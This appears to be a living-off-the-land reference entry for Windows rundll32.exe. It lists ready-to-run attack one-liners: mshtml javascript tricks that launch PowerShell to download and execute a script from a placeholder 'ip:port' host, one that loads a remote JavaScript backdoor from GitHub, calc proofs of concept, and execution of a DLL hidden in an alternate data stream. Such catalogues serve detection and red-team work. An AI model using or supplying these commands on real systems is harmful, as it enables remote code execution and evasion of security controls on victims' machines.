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Rundll32.md

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Rundll32.exe

  • Functions: Execute, Read ADS
rundll32.exe AllTheThingsx64,EntryPoint    

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain   

Acknowledgements:

  • Casey Smith - @subtee

Code sample:

Resources:

Full path:

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Notes: [1]Code sample linked to Red Canary - Atomic Red Team